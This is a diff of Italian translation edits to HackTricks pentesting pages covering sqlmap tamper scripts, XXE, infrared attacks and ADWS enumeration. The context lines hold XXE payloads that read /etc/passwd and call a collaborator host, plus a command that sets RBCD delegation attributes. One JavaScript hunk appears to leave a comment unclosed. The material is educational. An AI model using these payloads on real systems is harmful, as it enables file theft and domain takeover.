-| space2mssqlhash.py           | Sostituisce il carattere di spazio \(' '\) con un carattere di cancelletto \('\#'\) seguito da una nuova riga \('\n'\)             |
+| space2mssqlhash.py           | Sostituisce il carattere di spazio \(' '\) con un carattere di libbra \('\#'\) seguito da una nuova riga \('\n'\)                  |
 | space2mysqlblank.py          | Sostituisce il carattere di spazio \(' '\) con un carattere vuoto casuale da un insieme valido di caratteri alternativi            |
-| space2mysqldash.py           | Sostituisce il carattere di spazio \(' '\) con un commento a trattino \('--'\) seguito da una nuova riga \('\n'\)                  |
-| space2plus.py                | Sostituisce il carattere di spazio \(' '\) con un più \('+'\)                                                                      |
+| space2mysqldash.py           | Sostituisce il carattere di spazio \(' '\) con un commento dash \('--'\) seguito da una nuova riga \('\n'\)                      |
+| space2plus.py                | Sostituisce il carattere di spazio \(' '\) con un più \('+'\)                                                                       |
 | space2randomblank.py         | Sostituisce il carattere di spazio \(' '\) con un carattere vuoto casuale da un insieme valido di caratteri alternativi            |
 | symboliclogical.py           | Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici \(&& e                                               |
 | unionalltounion.py           | Sostituisce UNION ALL SELECT con UNION SELECT                                                                                     |
 | unmagicquotes.py             | Sostituisce il carattere di virgolette \('\) con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine \(per farlo funzionare\) |
-| uppercase.py                 | Sostituisce ogni carattere della parola chiave con il valore maiuscolo 'INSERT'                                                   |
+| uppercase.py                 | Sostituisce ogni carattere parola chiave con un valore maiuscolo 'INSERT'                                                          |
 | varnish.py                   | Aggiunge un'intestazione HTTP 'X-originating-IP'                                                                                    |
-| versionedkeywords.py         | Racchiude ogni parola chiave non funzione con un commento MySQL versionato                                                         |
-| versionedmorekeywords.py     | Racchiude ogni parola chiave con un commento MySQL versionato                                                                      |
+| versionedkeywords.py         | Racchiude ogni parola chiave non funzione con un commento MySQL versionato                                                          |
+| versionedmorekeywords.py     | Racchiude ogni parola chiave con un commento MySQL versionato                                                                       |
 | xforwardedfor.py             | Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For'                                                                              |

 ## Riferimenti
--- a/src/pentesting-web/sql-injection/sqlmap/README.md
+++ b/src/pentesting-web/sql-injection/sqlmap/README.md
@ -161,51 +161,51 @@ Ricorda che **puoi creare il tuo tamper in python** ed è molto semplice. Puoi t
 ```
 | Tamper                       | Descrizione                                                                                                                        |
 | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
-| apostrophemask.py            | Sostituisce il carattere apostrofo con il suo corrispondente a larghezza completa UTF-8                                            |
-| apostrophenullencode.py      | Sostituisce il carattere apostrofo con il suo corrispondente illegale a doppio unicode                                             |
+| apostrophemask.py            | Sostituisce il carattere apostrofo con il suo equivalente a larghezza completa UTF-8                                                |
+| apostrophenullencode.py      | Sostituisce il carattere apostrofo con il suo equivalente illegale a doppio unicode                                                |
 | appendnullbyte.py            | Aggiunge un carattere NULL codificato alla fine del payload                                                                        |
 | base64encode.py              | Codifica in Base64 tutti i caratteri in un dato payload                                                                            |
 | between.py                   | Sostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #'                                                                |
 | bluecoat.py                  | Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
-| chardoubleencode.py          | Codifica doppio url tutti i caratteri in un dato payload (non elabora quelli già codificati)                                        |
+| chardoubleencode.py          | Codifica doppio url tutti i caratteri in un dato payload (non elabora quelli già codificati)                                       |
 | commalesslimit.py            | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'                                                                      |
 | commalessmid.py              | Sostituisce istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)'                                                                |
 | concat2concatws.py           | Sostituisce istanze come 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                                |
-| charencode.py                | Codifica in url tutti i caratteri in un dato payload (non elabora quelli già codificati)                                           |
-| charunicodeencode.py         | Codifica unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "%u0022"                   |
-| charunicodeescape.py         | Codifica unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "\u0022"                   |
+| charencode.py                | Url-codifica tutti i caratteri in un dato payload (non elabora quelli già codificati)                                             |
+| charunicodeencode.py         | Unicode-url-codifica i caratteri non codificati in un dato payload (non elabora quelli già codificati). "%u0022"                  |
+| charunicodeescape.py         | Unicode-url-codifica i caratteri non codificati in un dato payload (non elabora quelli già codificati). "\u0022"                  |
 | equaltolike.py               | Sostituisce tutte le occorrenze dell'operatore uguale ('=') con l'operatore 'LIKE'                                               |
-| escapequotes.py              | Escape con barra delle virgolette (' e ")                                                                                          |
-| greatest.py                  | Sostituisce l'operatore maggiore di ('>') con il corrispondente 'GREATEST'                                                       |
+| escapequotes.py              | Escape con barra delle virgolette (' e ")                                                                                         |
+| greatest.py                  | Sostituisce l'operatore maggiore di ('>') con il suo equivalente 'GREATEST'                                                       |
 | halfversionedmorekeywords.py | Aggiunge un commento MySQL versionato prima di ogni parola chiave                                                                  |
 | ifnull2ifisnull.py           | Sostituisce istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'                                                                |
-| modsecurityversioned.py      | Racchiude la query completa con un commento versionato                                                                              |
-| modsecurityzeroversioned.py  | Racchiude la query completa con un commento a zero versionato                                                                      |
+| modsecurityversioned.py      | Racchiude la query completa con un commento versionato                                                                             |
+| modsecurityzeroversioned.py  | Racchiude la query completa con un commento a zero versione                                                                        |
 | multiplespaces.py            | Aggiunge spazi multipli attorno alle parole chiave SQL                                                                             |
-| nonrecursivereplacement.py   | Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (es. .replace("SELECT", "")) filtri      |
-| percentage.py                | Aggiunge un simbolo di percentuale ('%') davanti a ciascun carattere                                                               |
+| nonrecursivereplacement.py   | Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (es. .replace("SELECT", "")) filtri     |
+| percentage.py                | Aggiunge un simbolo di percentuale ('%') davanti a ogni carattere                                                                  |
 | overlongutf8.py              | Converte tutti i caratteri in un dato payload (non elabora quelli già codificati)                                                  |
-| randomcase.py                | Sostituisce ciascun carattere della parola chiave con un valore di caso casuale                                                    |
+| randomcase.py                | Sostituisce ogni carattere della parola chiave con un valore di caso casuale                                                       |
 | randomcomments.py            | Aggiunge commenti casuali alle parole chiave SQL                                                                                    |
-| securesphere.py              | Aggiunge una stringa appositamente creata                                                                                            |
-| sp_password.py               | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log DBMS                                            |
+| securesphere.py              | Aggiunge una stringa appositamente creata                                                                                          |
+| sp_password.py               | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log del DBMS                                         |
 | space2comment.py             | Sostituisce il carattere spazio (' ') con commenti                                                                                 |
-| space2dash.py                | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n')            |
-| space2hash.py                | Sostituisce il carattere spazio (' ') con un carattere pound ('#') seguito da una stringa casuale e una nuova riga ('\n')          |
-| space2morehash.py            | Sostituisce il carattere spazio (' ') con un carattere pound ('#') seguito da una stringa casuale e una nuova riga ('\n')          |
-| space2mssqlblank.py          | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                  |
-| space2mssqlhash.py           | Sostituisce il carattere spazio (' ') con un carattere pound ('#') seguito da una nuova riga ('\n')                                |
-| space2mysqlblank.py          | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                  |
-| space2mysqldash.py           | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n')                                  |
+| space2dash.py                | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n')          |
+| space2hash.py                | Sostituisce il carattere spazio (' ') con un carattere di libbra ('#') seguito da una stringa casuale e una nuova riga ('\n')    |
+| space2morehash.py            | Sostituisce il carattere spazio (' ') con un carattere di libbra ('#') seguito da una stringa casuale e una nuova riga ('\n')    |
+| space2mssqlblank.py          | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                 |
+| space2mssqlhash.py           | Sostituisce il carattere spazio (' ') con un carattere di libbra ('#') seguito da una nuova riga ('\n')                          |
+| space2mysqlblank.py          | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                 |
+| space2mysqldash.py           | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n')                                |
 | space2plus.py                | Sostituisce il carattere spazio (' ') con un più ('+')                                                                             |
-| space2randomblank.py         | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                  |
-| symboliclogical.py           | Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici (&& e                                               |
+| space2randomblank.py         | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                 |
+| symboliclogical.py           | Sostituisce gli operatori logici AND e OR con i loro equivalenti simbolici (&& e                                                   |
 | unionalltounion.py           | Sostituisce UNION ALL SELECT con UNION SELECT                                                                                     |
 | unmagicquotes.py             | Sostituisce il carattere di virgolette (') con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine (per farlo funzionare) |
-| uppercase.py                 | Sostituisce ciascun carattere della parola chiave con il valore maiuscolo 'INSERT'                                                |
+| uppercase.py                 | Sostituisce ogni carattere della parola chiave con il valore maiuscolo 'INSERT'                                                   |
 | varnish.py                   | Aggiunge un'intestazione HTTP 'X-originating-IP'                                                                                    |
-| versionedkeywords.py         | Racchiude ciascuna parola chiave non funzione con un commento MySQL versionato                                                     |
-| versionedmorekeywords.py     | Racchiude ciascuna parola chiave con un commento MySQL versionato                                                                  |
+| versionedkeywords.py         | Racchiude ogni parola chiave non funzione con un commento MySQL versionato                                                         |
+| versionedmorekeywords.py     | Racchiude ogni parola chiave con un commento MySQL versionato                                                                      |
 | xforwardedfor.py             | Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For'                                                                              |


--- a/src/pentesting-web/xxe-xee-xml-external-entity.md
+++ b/src/pentesting-web/xxe-xee-xml-external-entity.md
@ -4,7 +4,7 @@

 ## Fondamenti di XML

-XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag nominati in modo descrittivo. Si differenzia da HTML poiché non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
+XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag con nomi descrittivi. Si differenzia da HTML poiché non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.

 - **Rappresentazione dei Dati tramite Entità**: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come `&lt;` e `&gt;`, che corrispondono a `<` e `>` per evitare conflitti con il sistema di tag di XML.
 - **Definizione degli Elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi devono essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a specifici elementi figli.
@ -43,7 +43,7 @@ In questo primo caso nota che SYSTEM "_**file:///**etc/passwd_" funzionerà anch
 ```
 ![](<../images/image (86).png>)

-Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (Non il caso dei laboratori di Portswigger)
+Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (non il caso dei laboratori di Portswigger)
 ```xml
 <!--?xml version="1.0" ?-->
 <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -83,7 +83,7 @@ Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud
 ```
 ### Blind SSRF

-Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se ciò non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità di parametro XML**:
+Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità parametriche XML**:
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -91,7 +91,7 @@ Utilizzando la **tecnica precedentemente commentata** puoi far accedere il serve
 ```
 ### "Blind" SSRF - Exfiltrare dati out-of-band

-**In questa occasione faremo in modo che il server carichi un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base per esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab qui**](https://portswigger.net/web-security/xxe/blind)**.**
+**In questa occasione faremo in modo che il server carichi un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base per esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**

 Nel DTD malevolo fornito, vengono eseguiti una serie di passaggi per esfiltrare dati:

@ -130,7 +130,7 @@ Questo payload definisce un'entità parametro XML `%xxe` e la incorpora all'inte
 Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/passwd`, può essere attivato utilizzando un Documento di Tipo Esterno (DTD) malevolo. Questo viene realizzato attraverso i seguenti passaggi:

 1. Viene definita un'entità parametro XML chiamata `file`, che contiene i contenuti del file `/etc/passwd`.
-2. Viene definita un'entità parametro XML chiamata `eval`, che incorpora una dichiarazione dinamica per un'altra entità parametro XML chiamata `error`. Questa entità `error`, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità `file` come suo nome.
+2. Viene definita un'entità parametro XML chiamata `eval`, incorporando una dichiarazione dinamica per un'altra entità parametro XML chiamata `error`. Questa entità `error`, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità `file` come suo nome.
 3. L'entità `eval` viene invocata, portando alla dichiarazione dinamica dell'entità `error`.
 4. L'invocazione dell'entità `error` risulta in un tentativo di caricare un file inesistente, producendo un messaggio di errore che include i contenuti del file `/etc/passwd` come parte del nome del file.

@ -150,7 +150,7 @@ _**Si prega di notare che il DTD esterno ci consente di includere un'entità all

 E per quanto riguarda le vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?

-Una scappatoia nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errore. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
+Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errori. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.

 Considera uno scenario in cui il filesystem del server contiene un file DTD in `/usr/local/app/schema.dtd`, che definisce un'entità chiamata `custom_entity`. Un attaccante può indurre un errore di parsing XML rivelando il contenuto del file `/etc/passwd` inviando un DTD ibrido come segue:
 ```xml
@ -221,7 +221,7 @@ Testing 0 entities : []

 Per una spiegazione più approfondita di questo attacco, **controlla la seconda sezione di** [**questo post incredibile**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **di Detectify**.

-La possibilità di **caricare documenti Microsoft Office è offerta da molte applicazioni web**, che procedono poi ad estrarre alcuni dettagli da questi documenti. Ad esempio, un'applicazione web può consentire agli utenti di importare dati caricando un foglio di calcolo in formato XLSX. Affinché il parser possa estrarre i dati dal foglio di calcolo, dovrà inevitabilmente analizzare almeno un file XML.
+La possibilità di **caricare documenti Microsoft Office è offerta da molte applicazioni web**, che poi procedono ad estrarre alcuni dettagli da questi documenti. Ad esempio, un'applicazione web può consentire agli utenti di importare dati caricando un foglio di calcolo in formato XLSX. Affinché il parser possa estrarre i dati dal foglio di calcolo, dovrà inevitabilmente analizzare almeno un file XML.

 Per testare questa vulnerabilità, è necessario creare un **file Microsoft Office contenente un payload XXE**. Il primo passo è creare una directory vuota in cui il documento può essere estratto.

@ -310,7 +310,7 @@ Poi puoi provare a decifrare l'hash usando hashcat

 ### XInclude

-Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` fornisce una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.
+Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` offre una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.

 Per eseguire un attacco `XInclude`, deve essere dichiarato lo spazio dei nomi `XInclude` e deve essere specificato il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un attacco di questo tipo:
 ```xml
@ -368,7 +368,7 @@ Content-Length: 52
 ```
 ### Content-Type: Da JSON a XEE

-Per modificare la richiesta puoi utilizzare un'estensione di Burp chiamata “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) puoi trovare questo esempio:
+Per modificare la richiesta, puoi utilizzare un'estensione di Burp chiamata “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) puoi trovare questo esempio:
 ```xml
 Content-Type: application/json;charset=UTF-8

@ -429,7 +429,7 @@ Se il web utilizza Java, puoi controllare il [**jar: protocol**](xxe-xee-xml-ext
 ### HTML Entities

 Trucco da [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
-Puoi creare un **entity dentro un entity** codificandolo con **html entities** e poi chiamarlo per **caricare un dtd**.\
+Puoi creare un **entity all'interno di un entity** codificandolo con **html entities** e poi chiamarlo per **caricare un dtd**.\
 Nota che le **HTML Entities** utilizzate devono essere **numeriche** (come \[in questo esempio]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
 ```xml
 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
@ -478,9 +478,9 @@ Questo esempio è ispirato a [https://pwn.vg/articles/2021-06/local-file-read-vi

 XLIFF (XML Localization Interchange File Format) è utilizzato per standardizzare lo scambio di dati nei processi di localizzazione. È un formato basato su XML principalmente utilizzato per trasferire dati localizzabili tra strumenti durante la localizzazione e come formato di scambio comune per gli strumenti CAT (Computer-Aided Translation).

-### Analisi della Richiesta Cieca
+### Blind Request Analysis

-Viene effettuata una richiesta al server con il seguente contenuto:
+Una richiesta viene inviata al server con il seguente contenuto:
 ```xml
 ------WebKitFormBoundaryqBdAsEtYaBjTArl3
 Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -734,7 +734,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
 #### Mitigation guidance
 * Aggiorna a **lxml ≥ 5.4.0** e assicurati che il **libxml2** sottostante sia **≥ 2.13.8**.
 * Disabilita `load_dtd` e/o `resolve_entities` a meno che non sia assolutamente necessario.
-* Evita di restituire errori di parser grezzi al client.
+* Evita di restituire errori di parser raw al client.

 ### Esempio di indurimento di Java DocumentBuilderFactory

--- a/src/todo/radio-hacking/infrared.md
+++ b/src/todo/radio-hacking/infrared.md
@ -2,13 +2,13 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Come funziona l'Infrarosso <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>
+## Come Funziona l'Infrarosso <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>

 **La luce infrarossa è invisibile agli esseri umani**. La lunghezza d'onda IR va da **0,7 a 1000 micron**. I telecomandi domestici utilizzano un segnale IR per la trasmissione dei dati e operano nella gamma di lunghezze d'onda di 0,75..1,4 micron. Un microcontrollore nel telecomando fa lampeggiare un LED infrarosso con una frequenza specifica, trasformando il segnale digitale in un segnale IR.

 Per ricevere i segnali IR si utilizza un **fotorecettore**. Esso **converte la luce IR in impulsi di tensione**, che sono già **segnali digitali**. Di solito, c'è un **filtro per la luce scura all'interno del ricevitore**, che lascia **passare solo la lunghezza d'onda desiderata** e taglia il rumore.

-### Varietà di protocolli IR <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>
+### Varietà di Protocolli IR <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>

 I protocolli IR differiscono in 3 fattori:

@ -18,19 +18,19 @@ I protocolli IR differiscono in 3 fattori:

 #### Modi di codifica dei bit <a href="#bit-encoding-ways" id="bit-encoding-ways"></a>

-**1. Codifica della distanza degli impulsi**
+**1. Codifica della Distanza degli Impulsi**

 I bit sono codificati modulando la durata dello spazio tra gli impulsi. La larghezza dell'impulso stesso è costante.

 <figure><img src="../../images/image (295).png" alt=""><figcaption></figcaption></figure>

-**2. Codifica della larghezza degli impulsi**
+**2. Codifica della Larghezza degli Impulsi**

 I bit sono codificati modulando la larghezza dell'impulso. La larghezza dello spazio dopo l'esplosione dell'impulso è costante.

 <figure><img src="../../images/image (282).png" alt=""><figcaption></figcaption></figure>

-**3. Codifica di fase**
+**3. Codifica di Fase**

 È anche conosciuta come codifica Manchester. Il valore logico è definito dalla polarità della transizione tra l'esplosione dell'impulso e lo spazio. "Spazio a esplosione dell'impulso" denota logica "0", "esplosione dell'impulso a spazio" denota logica "1".

@ -59,9 +59,9 @@ Il **comando NEC**, oltre al preambolo, è composto da un byte di indirizzo e un

 Il **codice di ripetizione** ha un "1" dopo il preambolo, che è un bit di stop.

-Per **logica "0" e "1"** NEC utilizza la Codifica della Distanza degli Impulsi: prima viene trasmesso un'esplosione di impulsi dopo la quale c'è una pausa, la cui lunghezza stabilisce il valore del bit.
+Per **logica "0" e "1"** NEC utilizza la Codifica della Distanza degli Impulsi: prima viene trasmessa un'esplosione di impulsi dopo la quale c'è una pausa, la cui lunghezza determina il valore del bit.

-### Condizionatori d'aria
+### Condizionatori d'Aria

 A differenza di altri telecomandi, **i condizionatori d'aria non trasmettono solo il codice del pulsante premuto**. Trasmettono anche **tutte le informazioni** quando un pulsante viene premuto per garantire che la **macchina del condizionatore e il telecomando siano sincronizzati**.\
 Questo eviterà che una macchina impostata a 20ºC venga aumentata a 21ºC con un telecomando, e poi quando un altro telecomando, che ha ancora la temperatura a 20ºC, viene utilizzato per aumentare ulteriormente la temperatura, essa "aumenterà" a 21ºC (e non a 22ºC pensando che sia a 21ºC).
@ -76,11 +76,11 @@ Puoi attaccare l'Infrarosso con Flipper Zero:
 flipper-zero/fz-infrared.md
 {{#endref}}

-### Presa di controllo di Smart-TV / Set-top Box (EvilScreen)
+### Presa di Controllo di Smart-TV / Set-top Box (EvilScreen)

 Recenti lavori accademici (EvilScreen, 2022) hanno dimostrato che **i telecomandi multi-canale che combinano Infrarosso con Bluetooth o Wi-Fi possono essere abusati per dirottare completamente le moderne smart-TV**. L'attacco combina codici di servizio IR ad alta privilegio con pacchetti Bluetooth autenticati, bypassando l'isolamento dei canali e consentendo l'avvio arbitrario di app, l'attivazione del microfono o il ripristino di fabbrica senza accesso fisico. Otto TV mainstream di diversi fornitori — incluso un modello Samsung che afferma di essere conforme a ISO/IEC 27001 — sono state confermate vulnerabili. La mitigazione richiede correzioni del firmware del fornitore o la disabilitazione completa dei ricevitori IR non utilizzati.

-### Esfiltrazione di dati Air-Gapped tramite LED IR (famiglia aIR-Jumper)
+### Esfiltrazione di Dati Air-Gapped tramite LED IR (famiglia aIR-Jumper)

 Le telecamere di sicurezza, i router o anche le chiavette USB malevole includono spesso **LED IR per visione notturna**. La ricerca mostra che il malware può modulare questi LED (<10–20 kbit/s con semplice OOK) per **esfiltrare segreti attraverso muri e finestre** verso una telecamera esterna posizionata a decine di metri di distanza. Poiché la luce è al di fuori dello spettro visibile, gli operatori raramente se ne accorgono. Contromisure:

@ -88,7 +88,7 @@ Le telecamere di sicurezza, i router o anche le chiavette USB malevole includono
 * Monitorare il ciclo di lavoro dei LED delle telecamere e l'integrità del firmware
 * Installare filtri IR-cut su finestre e telecamere di sorveglianza

-Un attaccante può anche utilizzare proiettori IR potenti per **infiltrare** comandi nella rete lampeggiando dati a telecamere insicure.
+Un attaccante può anche utilizzare proiettori IR potenti per **infiltrare** comandi nella rete lampeggiando dati verso telecamere insicure.

 ### Brute-Force a Lunga Distanza e Protocolli Estesi con Flipper Zero 1.0

@ -113,7 +113,7 @@ Il firmware 1.0 (settembre 2024) ha aggiunto **dozzine di protocolli IR extra e
 IRsend sender;
 void setup(){ sender.begin(); }
 void loop(){
-sender.sendNEC(0x20DF10EF, 32); // Samsung TV Power
+sender.sendNEC(0x20DF10EF, 32); // Accensione TV Samsung
 delay(5000);
 }
 ```
--- a/src/windows-hardening/active-directory-methodology/adws-enumeration.md
+++ b/src/windows-hardening/active-directory-methodology/adws-enumeration.md
@ -26,7 +26,7 @@ Poiché il traffico è incapsulato all'interno di questi frame SOAP binari e via
 * Filtri di ricerca a grana fine identici a LDAP `-q '(objectClass=user)'`.
 * Operazioni di **scrittura** opzionali ( `--set` / `--delete` ).
 * Modalità di output **BOFHound** per l'ingestione diretta in BloodHound.
-* Flag `--parse` per abbellire i timestamp / `userAccountControl` quando è necessaria la leggibilità umana.
+* Flag `--parse` per rendere più leggibili i timestamp / `userAccountControl` quando è necessaria la leggibilità umana.

 ### Installazione (host operatore)
 ```bash
@ -64,13 +64,13 @@ soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
 --set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
 msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
 ```
-Combina questo con `s4u2proxy`/`Rubeus /getticket` per una completa **Resource-Based Constrained Delegation** chain.
+Combina questo con `s4u2proxy`/`Rubeus /getticket` per una completa **Delegazione Constrainata Basata su Risorse**.

 ## Rilevamento e Indurimento

-### Logging Verboso di ADDS
+### Registrazione Verbose di ADDS

-Abilita le seguenti chiavi di registro sui Domain Controllers per evidenziare ricerche costose / inefficienti provenienti da ADWS (e LDAP):
+Abilita le seguenti chiavi di registro sui Controller di Dominio per evidenziare ricerche costose / inefficienti provenienti da ADWS (e LDAP):
 ```powershell
 New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
 New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
--- a/theme/ai.js
+++ b/theme/ai.js
@ -1,6 +1,6 @@
 /**
 * HackTricks Training Discounts
- */
+


 (() => {
@ -9,13 +9,13 @@
  const TXT = 'Click here for HT Summer Discounts, Last Days!';
  const URL = 'https://training.hacktricks.xyz';

-  /* Stop if user already dismissed */
+  // Stop if user already dismissed
  if (localStorage.getItem(KEY) === 'true') return;

-  /* Quick helper */
+  // Quick helper
  const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });

-  /* --- Overlay (blur + dim) --- */
